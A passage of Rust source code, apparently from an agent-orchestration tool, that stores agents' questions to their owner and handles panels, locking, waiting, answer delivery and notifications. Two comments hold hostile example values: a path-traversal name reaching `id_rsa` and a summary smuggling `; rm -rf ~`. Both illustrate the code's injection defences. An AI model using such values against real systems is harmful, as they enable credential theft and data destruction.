895        let from = self.delivered_turns.min(self.thread.len());
896        self.thread[from..]
897            .iter()
898            .filter(|t| t.who == Who::Operator)
899            .map(|t| t.body.as_str())
900            .collect()
901    }
902
903    /// When the conversation last moved: the newest thread turn, or the asking
904    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
905    /// every reply, so a deadline runs from here and not from `asked_at`.
906    pub fn last_activity(&self) -> i64 {
907        self.thread
908            .iter()
909            .map(|t| t.at.as_second())
910            .max()
911            .unwrap_or(0)
912            .max(self.asked_at.as_second())
913    }
914
915    /// Is the ball in the agent's court?
916    ///
917    /// True from the moment the owner speaks back until the agent's next
918    /// [`Question::reply`], and never on a fresh or an already-settled
919    /// question. [`QuestionStatus`] does not move for either side of this -
920    /// see [`Question::say`] - so this is the one place that state is
921    /// readable at all, which is why [`crate::web::QuestionView`] carries it
922    /// separately rather than asking the phone to infer it from the thread.
923    pub fn waiting_on_agent(&self) -> bool {
924        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
925    }
926
927    /// Should a notification go out right now?
928    ///
929    /// Always, for the very first ask: [`Question::thread`] is still empty, so
930    /// there is no earlier operator turn to have already caught anyone's
931    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
932    /// since the owner's own last word - see that constant for why the window
933    /// exists at all and why its length is not configurable.
934    fn should_notify(&self, now: Timestamp) -> bool {
935        let Some(last) = self
936            .thread
937            .iter()
938            .rev()
939            .find(|t| t.who == Who::Operator)
940            .map(|t| t.at)
941        else {
942            return true;
943        };
944        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
945    }
946}
947
948/// A question store on disk.
949#[derive(Debug, Clone)]
950pub struct Questions {
951    root: PathBuf,
952}
953
954impl Questions {
955    /// The operator's questions, `<home>/questions`.
956    pub fn open() -> Self {
957        Self::at(crate::run::home().join("questions"))
958    }
959
960    /// A store at an explicit root. Tests use this, which is why none of them
961    /// need the operator's real home.
962    pub fn at(root: PathBuf) -> Self {
963        Self { root }
964    }
965
966    /// Directory holding the question files.
967    pub fn root(&self) -> &Path {
968        &self.root
969    }
970
971    /// Path for one question id.
972    pub fn path_of(&self, id: &str) -> PathBuf {
973        self.root.join(format!("{id}.json"))
974    }
975
976    /// Directory holding one question's panel, `<root>/<id>.panel`.
977    pub fn panel_dir(&self, id: &str) -> PathBuf {
978        self.root.join(format!("{id}{PANEL_DIR}"))
979    }
980
981    /// Store a panel: the html, plus `assets` copied in under their base
982    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
983    /// question, or the record on disk will deny having a panel that exists.
984    ///
985    /// The assets are **copied, not referenced**. An agent authors its panel
986    /// inside a candidate worktree and points at files there, and `magi fold`
987    /// deletes those worktrees; a question is the permanent record of a
988    /// decision the owner took, so a panel that referenced its own images
989    /// would render as broken boxes exactly when someone went back to ask why
990    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
991    /// does, and so does the [`std::fs::metadata`] the size is measured with,
992    /// so the bytes counted and the bytes written are the same target file's -
993    /// which is the intent: storing a link would leave the panel pointing at
994    /// the worktree again, one indirection further away.
995    ///
996    /// Everything that can be rejected is rejected before the first byte is
997    /// written, and the panel is then assembled in a scratch directory and
998    /// swapped in. So a refusal leaves the previous panel intact, and a
999    /// success replaces it *wholesale* rather than merging: a re-asked
1000    /// question showing one attempt's diff next to another attempt's table
1001    /// would be a panel neither agent ever wrote.
1002    ///
1003    /// [`put`]: Questions::put
1004    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1005        if !valid_asset_name(&q.id) {
1006            bail!(
1007                "question id `{}` is not a name magi will build a panel path from",
1008                q.id
1009            );
1010        }
1011        if html.trim().is_empty() {
1012            bail!(
1013                "question {} was handed an empty panel; an empty frame reads to \
1014                 the owner as \"the agent had nothing to say\", which is a lie",
1015                q.short()
1016            );
1017        }
1018
1019        // Names, then sizes, then writing - in that order, so nothing below
1020        // can leave a partial panel on disk.
1021        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1022        for src in assets {
1023            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1024            if !valid_asset_name(name) {
1025                bail!(
1026                    "panel asset `{}` cannot be stored: a panel file name must \
1027                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1028                    src.display()
1029                );
1030            }
1031            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1032                bail!(
1033                    "two panel assets are both named `{name}` - {} and {} - and \
1034                     the panel can only show one of them; rename one at the source",
1035                    first.display(),
1036                    src.display()
1037                );
1038            }
1039            named.push((name.to_owned(), src.as_path()));
1040        }
1041
1042        let mut total = html.len() as u64;
1043        for (_, src) in &named {
1044            let meta = std::fs::metadata(src)
1045                .with_context(|| format!("stat panel asset {}", src.display()))?;
1046            if !meta.is_file() {
1047                bail!(
1048                    "panel asset `{}` is not a file; a panel is html plus files \
1049                     copied beside it",
1050                    src.display()
1051                );
1052            }
1053            total = total.saturating_add(meta.len());
1054        }
1055        if total > PANEL_MAX_BYTES {
1056            bail!(
1057                "panel for question {} is {total} bytes, over magi's cap of \
1058                 {PANEL_MAX_BYTES} bytes; nothing was written",
1059                q.short()
1060            );
1061        }
1062
1063        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1064        let dir = self.panel_dir(&q.id);
1065        std::fs::create_dir_all(&self.root)
1066            .with_context(|| format!("create {}", self.root.display()))?;
1067        clear_dir(&tmp)?;
1068        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1069        if let Err(e) = fill_panel(&tmp, html, &named) {
1070            // A copy that dies halfway must not become the panel, and must not
1071            // leave scratch behind for the next call to inherit.
1072            let _ = std::fs::remove_dir_all(&tmp);
1073            return Err(e);
1074        }
1075        clear_dir(&dir)?;
1076        std::fs::rename(&tmp, &dir)
1077            .with_context(|| format!("move panel into {}", dir.display()))?;
1078
1079        q.panel = true;
1080        q.assets = named.into_iter().map(|(n, _)| n).collect();
1081        q.assets.sort_unstable();
1082        Ok(())
1083    }
1084
1085    /// The panel's html, or `None` when the question has no panel.
1086    ///
1087    /// `None` rather than an error for a missing panel because the caller is a
1088    /// web handler whose answer is 404 either way, and an unreadable panel is
1089    /// not a reason to fail the question it belongs to.
1090    pub fn panel_html(&self, id: &str) -> Option<String> {
1091        if !valid_asset_name(id) {
1092            return None;
1093        }
1094        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1095    }
1096
1097    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1098    /// not a name a panel file can have".
1099    ///
1100    /// Rejects a name failing [`valid_asset_name`] **before touching the
1101    /// filesystem**, which is the whole point of the second check: the name
1102    /// arrives from a URL, the directory is on disk where any process could
1103    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1104    /// operating system would resolve perfectly happily. The two callers'
1105    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1106    /// `Result<Option<_>>` rather than one flattened `Option`.
1107    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1108        if !valid_asset_name(name) {
1109            bail!(
1110                "`{name}` is not a panel file name; it must match \
1111                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1112            );
1113        }
1114        if !valid_asset_name(id) {
1115            return Ok(None);
1116        }
1117        let dir = self.panel_dir(id);
1118        if !dir.is_dir() {
1119            return Ok(None);
1120        }
1121        let path = dir.join(name);
1122        match std::fs::read(&path) {
1123            Ok(bytes) => Ok(Some(bytes)),
1124            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1125            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1126        }
1127    }
1128
1129    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1130    ///
1131    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1132    /// not have to know whether a panel was ever written. The question record
1133    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1134    /// in the same order as everywhere else here.
1135    ///
1136    /// [`put_panel`]: Questions::put_panel
1137    pub fn drop_panel(&self, id: &str) -> Result<()> {
1138        if !valid_asset_name(id) {
1139            bail!("question id `{id}` is not a name magi will build a panel path from");
1140        }
1141        clear_dir(&self.panel_dir(id))?;
1142        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1143    }
1144
1145    /// Path of the lease sidecar for one question id.
1146    pub fn lease_path(&self, id: &str) -> PathBuf {
1147        self.root.join(format!("{id}.lease"))
1148    }
1149
1150    /// The lease on a question, if a readable one exists.
1151    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1152        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1153        serde_json::from_str(&body).ok()
1154    }
1155
1156    /// Say, as `kind`, that something is alive and waiting on this question.
1157    ///
1158    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1159    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1160    /// the holder is gone a little early, and that is what the delivery guard
1161    /// (the seat still being busy) is there for.
1162    pub fn beat(&self, id: &str, kind: WaiterKind) {
1163        let lease = Lease {
1164            kind,
1165            pid: std::process::id(),
1166            beat_at: Timestamp::now(),
1167        };
1168        let path = self.lease_path(id);
1169        let tmp = path.with_extension("lease.tmp");
1170        let written = std::fs::create_dir_all(&self.root)
1171            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1172            .and_then(|()| std::fs::rename(&tmp, &path));
1173        if let Err(e) = written {
1174            tracing::debug!("could not beat the lease on question {id}: {e}");
1175        }
1176    }
1177
1178    /// Remove the lease sidecar. Absent is fine.
1179    pub fn drop_lease(&self, id: &str) {
1180        let _ = std::fs::remove_file(self.lease_path(id));
1181    }
1182
1183    /// Read-modify-write one question under a short exclusive lock, so the
1184    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1185    /// each other with a copy that predates the others.
1186    ///
1187    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1188    /// a torn file and does nothing for two writers that both read the same
1189    /// version first. Everything that changes a question that can still be
1190    /// answered goes through here: `f` sees the current record, not one loaded
1191    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1192    /// mid-update and is broken.
1193    pub fn update<T>(
1194        &self,
1195        id: &str,
1196        f: impl FnOnce(&mut Question) -> Result<T>,
1197    ) -> Result<(Question, T)> {
1198        std::fs::create_dir_all(&self.root)
1199            .with_context(|| format!("create {}", self.root.display()))?;
1200        let lock = self.root.join(format!("{id}.lock"));
1201        let started = std::time::Instant::now();
1202        loop {
1203            match std::fs::OpenOptions::new()
1204                .write(true)
1205                .create_new(true)
1206                .open(&lock)
1207            {
1208                Ok(_) => break,
1209                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1210                    let stale = std::fs::metadata(&lock)
1211                        .and_then(|m| m.modified())
1212                        .ok()
1213                        .and_then(|t| t.elapsed().ok())
1214                        .is_some_and(|age| age > LOCK_STALE);
1215                    if stale {
1216                        let _ = std::fs::remove_file(&lock);
1217                    } else if started.elapsed() > LOCK_STALE {
1218                        bail!("could not lock question {id}");
1219                    } else {
1220                        std::thread::sleep(Duration::from_millis(15));
1221                    }
1222                }
1223                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1224            }
1225        }
1226        struct Unlock(PathBuf);
1227        impl Drop for Unlock {
1228            fn drop(&mut self) {
1229                let _ = std::fs::remove_file(&self.0);
1230            }
1231        }
1232        let _guard = Unlock(lock);
1233        let mut q = read_path(&self.path_of(id))?;
1234        let out = f(&mut q)?;
1235        self.put(&mut q)?;
1236        Ok((q, out))
1237    }
1238
1239    /// Write a question, atomically, so a process killed mid-write leaves the
1240    /// previous state readable rather than a truncated file that would strand
1241    /// the run waiting on it.
1242    pub fn put(&self, q: &mut Question) -> Result<()> {
1243        std::fs::create_dir_all(&self.root)
1244            .with_context(|| format!("create {}", self.root.display()))?;
1245        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1246        let path = self.path_of(&q.id);
1247        let tmp = path.with_extension("json.tmp");
1248        let is_new = !path.exists();
1249        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1250        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1251        // A first write of an open question pages the operator, so a separate
1252        // notification about the same task or run is now a second page.
1253        if is_new
1254            && q.status.open()
1255            && q.node != crate::bump::NOTICE_NODE
1256            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1257        {
1258            crate::notices::quiet_for(home, q);
1259        }
1260        Ok(())
1261    }
1262
1263    /// Load a question by id or unambiguous id prefix.
1264    pub fn get(&self, id: &str) -> Result<Question> {
1265        let resolved = self.resolve_id(id)?;
1266        read_path(&self.path_of(&resolved))
1267    }
1268
1269    /// Every question on disk: open first, then newest first.
1270    ///
1271    /// Open first because that ordering is the product - the list exists to
1272    /// show the operator what has stopped, and an answered question is history
1273    /// underneath it. Unreadable files are skipped rather than fatal: one
1274    /// corrupt question must not take the web UI down, and must certainly not
1275    /// hide the open question the operator was looking for.
1276    pub fn list(&self) -> Vec<Question> {
1277        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1278            .into_iter()
1279            .flatten()
1280            .flatten()
1281            .map(|e| e.path())
1282            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1283            .filter_map(|p| read_path(&p).ok())
1284            .collect();
1285        all.sort_unstable_by(|a, b| {
1286            let rank = |q: &Question| u8::from(!q.status.open());
1287            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1288        });
1289        all
1290    }
1291
1292    /// Open questions belonging to one run, newest first.
1293    ///
1294    /// Used to decide whether a parked run can be resumed: while this is
1295    /// non-empty, nothing about the run has changed and no agent should be
1296    /// spawned for it.
1297    pub fn open_for(&self, run: &str) -> Vec<Question> {
1298        self.list()
1299            .into_iter()
1300            .filter(|q| q.status.open() && q.run == run)
1301            .collect()
1302    }
1303
1304    /// Abandon every open question belonging to a run, and report how many.
1305    ///
1306    /// Called when a run's record is deleted. The agent that asked died with
1307    /// the run, so there is nobody left to hand an answer to, and a question
1308    /// left open would keep asking the operator for a decision that can no
1309    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1310    /// イルが見つかりません" with two buttons, for a run whose directory had
1311    /// been gone for two hours.
1312    ///
1313    /// Abandoned rather than deleted, because [`Question::abandon`] already
1314    /// means "this can no longer be answered" and the record of having asked
1315    /// is worth keeping. Answered questions are left exactly as they are.
1316    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1317        let mut abandoned = 0;
1318        for mut q in self.open_for(run) {
1319            q.abandon(why);
1320            self.put(&mut q)?;
1321            abandoned += 1;
1322        }
1323        Ok(abandoned)
1324    }
1325
1326    /// Abandon a run's open questions once `status` says the run is not
1327    /// coming back, worded with what it actually became.
1328    ///
1329    /// The run-deleted case above and this one are the same fact - nobody is
1330    /// left to read an answer - reached by two different doors. This is the
1331    /// one for a run that finished on its own: merged, reached `Ready` with
1332    /// nothing left to do, failed outright with no established point to
1333    /// resume from, or every candidate agreed, with evidence, that nothing
1334    /// belonged in the worktree. Those are exactly the statuses
1335    /// [`RunStatus::resumable`]
1336    /// excludes, and that is the line this draws too - deliberately not
1337    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1338    /// over. Both of those can still be picked back up with the candidates,
1339    /// the review round and the seat sessions already on disk, so a question
1340    /// asked mid-round may yet get a real answer from a real resume, and
1341    /// folding it here would be exactly the mistake this function exists to
1342    /// avoid on the other side - answering back into a run that no longer
1343    /// exists to read it.
1344    ///
1345    /// A no-op, not an error, when `status` is still resumable or when there
1346    /// was nothing open to begin with - callers reach this from more than one
1347    /// place a run can settle, and a second call finding nothing left to
1348    /// abandon is the expected case, not a bug.
1349    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1350        if status.resumable() {
1351            return Ok(0);
1352        }
1353        let why = format!(
1354            "run {run} {}, so nothing is waiting for this answer",
1355            status.as_str()
1356        );
1357        // A post-merge notice is the exception: it is filed *because* the run
1358        // merged, and no agent waits on it - it is a to-do for the owner, not
1359        // a question a dead seat asked. Abandoning it here would erase the
1360        // only alert the moment the run settles.
1361        let mut abandoned = 0;
1362        for mut q in self.open_for(run) {
1363            if q.node == crate::bump::NOTICE_NODE {
1364                continue;
1365            }
1366            q.abandon(&why);
1367            self.put(&mut q)?;
1368            abandoned += 1;
1369        }
1370        Ok(abandoned)
1371    }
1372
1373    /// Expand an id prefix to exactly one question id. The short id the phone
1374    /// and the reports show is a suffix, so that is accepted too.
1375    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1376        if self.path_of(prefix).is_file() {
1377            return Ok(prefix.to_owned());
1378        }
1379        let hits: Vec<String> = self
1380            .list()
1381            .into_iter()
1382            .map(|q| q.id)
1383            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1384            .collect();
1385        match hits.len() {
1386            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1387            0 => bail!("no question matches `{prefix}`"),
1388            _ => bail!(
1389                "`{prefix}` matches {} questions: {}",
1390                hits.len(),
1391                hits.join(", ")
1392            ),
1393        }
1394    }
1395
1396    /// Newest modification time in the store, in milliseconds, for change
1397    /// detection. The web UI compares this instead of re-reading every
1398    /// question, so an idle phone on a slow link costs one `stat` per file.
1399    pub fn revision(&self) -> u64 {
1400        std::fs::read_dir(&self.root)
1401            .into_iter()
1402            .flatten()
1403            .flatten()
1404            .filter_map(|e| e.metadata().ok())
1405            .filter_map(|m| m.modified().ok())
1406            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1407            .map(|d| d.as_millis() as u64)
1408            .max()
1409            .unwrap_or(0)
1410    }
1411
1412    /// How many questions are open, whichever side of the conversation is
1413    /// holding the ball right now. Ten turns of back and forth between the
1414    /// owner and the agent are still one open question - see
1415    /// [`Question::say`] - so this does not drop while a reply is in
1416    /// flight. [`Self::count_needs_owner`] is the number that does.
1417    pub fn count_open(&self) -> usize {
1418        self.list().iter().filter(|q| q.status.open()).count()
1419    }
1420
1421    /// How many open questions actually need the owner right now: open, and
1422    /// not [`Question::waiting_on_agent`].
1423    ///
1424    /// This is the number a notification channel owes - the ask bar, the nav
1425    /// badge, the document title - because those exist to say "something
1426    /// needs you", and a question sitting in `magi ask --thread` limbo does
1427    /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
1428    /// where a round trip must not look like the run resumed.
1429    pub fn count_needs_owner(&self) -> usize {
1430        self.list()
1431            .iter()
1432            .filter(|q| q.status.open() && !q.waiting_on_agent())
1433            .count()
1434    }
1435}
1436
1437/// How a wait over [`Question`] ended.
1438#[derive(Debug, Clone, PartialEq, Eq)]
1439pub enum Wait {
1440    /// The owner decided. Carries [`Question::resolution`].
1441    Answered(String),
1442    /// The owner spoke back without deciding - see [`Question::say`]. The
1443    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1444    /// the caller's move is to hand this text to the agent and let it call
1445    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1446    Replied(String),
1447    /// This call's [`WAIT_SLICE`] ran out with the question still
1448    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1449    /// going quiet, the clock on *this process* running out. The question is
1450    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1451    /// process, so the wait resumes before the shell tool that would have
1452    /// killed this one gets the chance.
1453    Pending,
1454    /// Nobody said anything before the deadline, or the question was closed
1455    /// out from under the wait with no decision recorded - a run deleted out
1456    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1457    /// now on disk.
1458    Abandoned,
1459}
1460
1461/// File a question and wait for the owner, polling the store.
1462///
1463/// The question is updated in place from disk whenever the wait ends, so the
1464/// caller can act on it without re-reading it. `timeout` is the question's
1465/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1466/// of it - see [`Wait::Pending`] for what happens to the rest.
1467pub async fn ask_and_wait(
1468    q: &mut Question,
1469    store: &Questions,
1470    notify: &config::Notify,
1471    timeout: Duration,
1472) -> Result<Wait> {
1473    wait_for_owner(q, store, notify, timeout, POLL).await
1474}
1475
1476/// Resume a wait already filed, without adding a turn or notifying again.
1477///
1478/// This is `magi ask --wait <id>`'s engine: the process that owned the
1479/// previous slice is dead (the tool that ran it killed it, or it simply
1480/// exited after reporting [`Wait::Pending`]), but the question on disk never
1481/// stopped being open, and the owner was already notified about it once. A
1482/// second notification for the same unanswered question would page the
1483/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1484/// unlike [`ask_and_wait`], this skips straight to polling.
1485///
1486/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1487/// caller computes it as what remains until [`Question::asked_at`] plus the
1488/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1489/// up the deadline the first ask set, never push it out further.
1490pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1491    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1492}
1493
1494/// [`ask_and_wait`] with the poll interval injected.
1495///
1496/// Separate only so the tests can drive a whole wait in milliseconds instead of
1497/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1498/// a knob the operator gets to tune.
1499async fn wait_for_owner(
1500    q: &mut Question,
1501    store: &Questions,
1502    cfg: &config::Notify,
1503    timeout: Duration,
1504    poll: Duration,
1505) -> Result<Wait> {
1506    // A question that is already on disk (a `--thread` reply just wrote it under
1507    // the lock) is left alone: this copy may predate an answer or say that
1508    // landed since, and writing it back would erase that.
1509    if !store.path_of(&q.id).is_file() {
1510        store.put(q).context("file the question")?;
1511    }
1512    if q.should_notify(Timestamp::now()) {
1513        if let Err(e) = notify(cfg, q).await {
1514            // A broken webhook is not a reason to throw away an implementation.
1515            // The question is already on disk and the web UI already shows it,
1516            // so the operator still has a way in; only the tap on the shoulder
1517            // is lost.
1518            tracing::warn!(
1519                "could not notify about question {}: {e:#} - the web UI is the \
1520                 only surface for it now",
1521                q.short()
1522            );
1523        }
1524    }
1525    tracing::info!(
1526        "question {} from {} is waiting for you: {}",
1527        q.short(),
1528        q.seat,
1529        q.summary
1530    );
1531    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1532}
1533
1534/// Take the wait as this process: beat the lease and note it on the record.
1535fn hold(store: &Questions, id: &str) {
1536    store.beat(id, WaiterKind::Asker);
1537    let took = store.update(id, |q| {
1538        if q.status.open() {
1539            q.waiter = Some(Waiter {
1540                kind: WaiterKind::Asker,
1541                since: Timestamp::now(),
1542            });
1543        }
1544        Ok(())
1545    });
1546    if let Err(e) = took {
1547        tracing::debug!("could not note the wait on question {id}: {e:#}");
1548    }
1549}
1550
1551/// Record that the agent has read everything so far, so the daemon waiter does
1552/// not resume a session to tell it what was already printed.
1553///
1554/// Callers must invoke this only **after** the word reached the agent's stdout:
1555/// marking first would let a tool timeout kill the process between the mark
1556/// and the print, and the waiter would then consider a word delivered that no
1557/// agent ever saw.
1558pub fn hand_over(store: &Questions, q: &mut Question) {
1559    let done = store.update(&q.id, |r| {
1560        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1561        if r.status == QuestionStatus::Answered {
1562            r.answer_delivered = true;
1563        }
1564        r.waiter = None;
1565        Ok(())
1566    });
1567    match done {
1568        Ok((fresh, ())) => *q = fresh,
1569        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1570    }
1571}
1572
1573/// What the agent is shown for an answer: the owner's says it has not read
1574/// yet, in order, then the answer. With no such say it is `answer` itself,
1575/// byte for byte.
1576pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1577    let says = q.undelivered_owner_turns();
1578    if says.is_empty() {
1579        return answer.to_owned();
1580    }
1581    format!(
1582        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1583        says.join("\n\n")
1584    )
1585}
1586
1587/// Print an answer (with any unread says before it) to `out`, flush, and only
1588/// then record the hand-over. A failed write marks nothing delivered.
1589pub fn deliver_answer(
1590    store: &Questions,
1591    q: &mut Question,
1592    answer: &str,
1593    out: &mut impl std::io::Write,
1594) -> std::io::Result<()> {
1595    writeln!(out, "{}", answer_for_agent(q, answer))?;
1596    out.flush()?;
1597    hand_over(store, q);
1598    Ok(())
1599}
1600
1601/// The polling loop shared by a fresh wait and a resumed one.
1602///
1603/// `timeout` is the budget left before the question's `answer_timeout`
1604/// truly runs out; `slice` bounds how much of that this one call spends
1605/// before handing control back. Landing on `slice` while `timeout` still has
1606/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1607/// silence. Landing on `timeout` itself - because it was no bigger than
1608/// `slice` to begin with - is the real thing, and abandons the question
1609/// exactly as a single unsliced wait always did.
1610async fn wait_loop(
1611    q: &mut Question,
1612    store: &Questions,
1613    timeout: Duration,
1614    slice: Duration,
1615    poll: Duration,
1616) -> Result<Wait> {
1617    // The owner may already have spoken back before this call ever started -
1618    // most often because they did so in the gap between an earlier call
1619    // reporting `Wait::Pending` and this one picking the wait back up with
1620    // `--wait`. That word must surface at once rather than sit unnoticed
1621    // until some *later* turn happens to change something: this call never
1622    // saw it get added, so nothing below would otherwise recognise it as
1623    // new. `last_word_awaiting_reply` reads the question's own record of
1624    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1625    // turn count this call would have to have been there to capture.
1626    if let Some(said) = q.unread_from_owner() {
1627        return Ok(Wait::Replied(said));
1628    }
1629    hold(store, &q.id);
1630
1631    let bounded = timeout.min(slice);
1632    let is_the_real_deadline = bounded >= timeout;
1633    let deadline = tokio::time::Instant::now() + bounded;
1634    loop {
1635        let now = tokio::time::Instant::now();
1636        if now >= deadline {
1637            if !is_the_real_deadline {
1638                // The lease is left to age out on purpose: the caller is about
1639                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1640                // covers.
1641                return Ok(Wait::Pending);
1642            }
1643            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1644            // Re-checked on the record as it is now: the owner may have said
1645            // something in time since the last poll, and that word is handed
1646            // over, not abandoned.
1647            let (fresh, unread) = store
1648                .update(&q.id, |r| {
1649                    let unread = r.unread_from_owner();
1650                    if unread.is_none() {
1651                        r.abandon(&why);
1652                        r.waiter = None;
1653                    }
1654                    Ok(unread)
1655                })
1656                .context("record the abandoned question")?;
1657            *q = fresh;
1658            if let Some(said) = unread {
1659                return Ok(Wait::Replied(said));
1660            }
1661            tracing::warn!(
1662                "question {} went unanswered for {}s; the run parks and the \
1663                 question stays as the record of it",
1664                q.short(),
1665                timeout.as_secs()
1666            );
1667            return Ok(Wait::Abandoned);
1668        }
1669        tokio::time::sleep(poll.min(deadline - now)).await;
1670        store.beat(&q.id, WaiterKind::Asker);
1671        match store.get(&q.id) {
1672            Ok(fresh) if !fresh.status.open() => {
1673                // Whoever answered - the phone, `magi answer`, another daemon -
1674                // owns the record now, so adopt theirs wholesale rather than
1675                // merging into a copy that predates it.
1676                *q = fresh;
1677                return Ok(match q.resolution() {
1678                    Some(a) => Wait::Answered(a),
1679                    // Closed with no decision - abandoned elsewhere, most
1680                    // often by the run behind it being deleted mid-wait.
1681                    None => Wait::Abandoned,
1682                });
1683            }
1684            Ok(fresh) => {
1685                if let Some(said) = fresh.unread_from_owner() {
1686                    *q = fresh;
1687                    return Ok(Wait::Replied(said));
1688                }
1689                // Still open and not waiting on the agent - nothing this
1690                // wait cares about happened, so keep polling.
1691            }
1692            Err(e) => {
1693                // Mid-rename, or a file the operator is editing by hand.
1694                // Neither is a reason to abandon a question a human may still
1695                // answer, so keep polling until the deadline decides.
1696                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1697            }
1698        }
1699    }
1700}
1701
1702/// Run the operator's notification command, if one is configured.
1703///
1704/// The command is argv, never a shell string, and the substitutions below are a
1705/// single pass over each argument: a summary containing `; rm -rf ~` is one
1706/// argument to one program, and a summary containing the characters `{run}` is
1707/// not re-expanded. That property is the reason agent-authored text can be put
1708/// in a notification at all.
1709///
1710/// An error here is reported, not swallowed, so `magi notify --test` can show
1711/// the operator why nothing arrives. The waiting path logs it and carries on.
1712pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1713    notify_text(cmd, &q.run, &q.summary).await
1714}
1715
1716/// [`notify`] for an event that is not a question: the same command, the same
1717/// placeholders, with `summary` and `run` supplied directly.
1718pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1719    let Some((program, args)) = cmd.command.split_first() else {
1720        // No command configured: the web UI is the only surface, by choice.
1721        return Ok(());
1722    };
1723    let url = web_url();
1724    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1725        tracing::warn!(
1726            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1727             so the link will be empty - export it next to `magi serve` with \
1728             the address `magi web --open` printed"
1729        );
1730    }
1731    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1732    tracing::debug!(program = %program, args = ?argv, "notifying");
1733
1734    let mut child = tokio::process::Command::new(program);
1735    child.quiet();
1736    child
1737        .args(&argv)
1738        .stdin(std::process::Stdio::null())
1739        // Killed if the timeout below drops this future: a notification
1740        // command left running would outlive the run it was announcing.
1741        .kill_on_drop(true);
1742    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1743        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1744        Err(_) => bail!(
1745            "notification command `{program}` did not finish within {}s",
1746            NOTIFY_TIMEOUT.as_secs()
1747        ),
1748    };
1749    if !out.status.success() {
1750        let stderr = String::from_utf8_lossy(&out.stderr);
1751        let why = stderr
1752            .lines()
1753            .rev()
1754            .find(|l| !l.trim().is_empty())
1755            .unwrap_or("no output on stderr")
1756            .trim();
